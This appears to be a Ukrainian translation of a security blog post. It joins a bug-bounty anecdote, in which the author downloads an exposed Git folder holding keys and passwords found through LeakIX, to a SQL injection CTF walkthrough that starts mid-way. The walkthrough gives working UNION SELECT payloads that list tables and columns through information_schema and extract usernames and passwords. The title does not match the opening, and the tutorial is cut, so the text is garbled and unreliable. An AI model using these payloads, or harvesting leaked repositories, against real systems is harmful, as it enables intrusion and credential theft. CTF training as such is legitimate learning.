Вручну виконана експлуатація SQL ін’єкції в CTF лабораторії

pic

Привіт, друзі!😊

У мене було багато різних друзів у житті: депресія, стрес, темні плями, прищі і навіть історії про розриви😑. Але знаєте, чого у мене не було? Роботи.

pic

Переживаючи цей стан і відчуваючи себе не дуже успішним, я почав свій день із подачі заявок на роботу через кар'єрні сторінки різних компаній.

Але потім моя ліньлива, зла свідомість прошепотіла: "Чому б не перевірити сам портал вакансій?"

Для виявлення витоків чутливої інформації я використав сайт:

🔗 LeakIX

pic

Я випадково спробував доменне ім'я, example.com.

LeakIX виявився вражаючим інструментом, який здатен знаходити витоки чутливої інформації, такі як конфігураційні файли Git, плагіни Apache та інше.

На моє здивування я знайшов конфігураційний файл Git від Accenture, в якому містилась чутлива інформація, така як API ключі, назви баз даних, паролі та конфігураційні файли.

pic

Я швидко скачав файли за допомогою розширення DOTGIT:

pic

📂 Зміст папки: index, config, HEAD, objects тощо.

pic

Я негайно повідомив компанії про проблему, сподіваючись на велику перемогу…😃

pic

Але несподівано стався поворот сюжету — виявилось, що хтось вже повідомив про цю вразливість.

pic

Мій звіт було позначено як дубліката. Тому замість BOOOMMM це було більше схоже на UHHHMMMMMM. 😅

Але, знаєте, я спробував, я навчився, і тепер готовий до наступної полювання!

Дякую за увагу! 🚀

Зв'яжіться зі мною!

EnnamPolVazhlkai😇

#BugBounty, #CyberSecurity, #InfoSec, #Hacking, #WebSecurity, #CTF.

Останній успішний індекс стовпця був 13, що означає, що запит повертає 13 стовпців у своєму результаті.

По-друге, нам потрібно визначити, які стовпці вразливі до витоку даних через UNION SELECT.

pic

Payload: -2'+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13 — +-

pic

Цифри на сторінці — це стовпці, які можуть відображати витягнуті дані.

По-третє, нам потрібно визначити назви таблиць

pic

Payload: -2'+UNION(SELECT+1,tablename,3,4,5,6,7,8,9,10,11,12,13+FROM+informationschema.tables+WHERE+table_schema=database()+LIMIT+12,1) — +-

  • Другий стовпець (table_name) замінюється на фактичні значення з бази даних.
  • information_schema.tables — це системна таблиця, яка містить метадані про всі таблиці в базі даних.
  • Умова WHERE table_schema=database() гарантує, що вибираються лише таблиці з поточної бази даних (яка отримується динамічно за допомогою database()).
  • LIMIT x,1 дозволяє зловмиснику витягнути одне ім’я таблиці за раз, коригуючи x, який є нульовим індексом.

Таким чином, я виявив таблицю users на індексі 12.

По-четверте, нам потрібно визначити назви стовпців з таблиці users.

pic

Payload: -2'+UNION(SELECT+1,columnname,3,4,5,6,7,8,9,10,11,12,13+FROM+informationschema.columns+WHERE+tableschema%3ddatabase()+and+tablename%3d’users’+LIMIT+8,1) — +-

  • Другий стовпець (column_name) замінюється на фактичне значення стовпця.
  • information_schema.columns — це системна таблиця в SQL базах даних, яка містить метадані про всі стовпці в кожній таблиці бази даних.
  • Умова WHERE table_schema=database() гарантує, що вибираються лише таблиці з поточної бази даних (яка отримується динамічно за допомогою database()).
  • LIMIT x,1 дозволяє зловмиснику витягнути одне ім’я стовпця за раз, коригуючи x, який є нульовим індексом.

Таким чином, я виявив стовпець password на індексі 8 і стовпець username на індексі 10.

По-п’яте, нам потрібно витягнути пароль адміністратора з бази даних

pic

Payload: -2'+UNION(SELECT+1,username,3,4,5,6,7,8,9,10,11,12,password+FROM+users+LIMIT+0,1) — +-

Цей payload витягне ім’я користувача та його відповідний пароль з таблиці users.

Завдання виконано.

Перекладено з: Manual Exploitation SQL Injection CTF LAB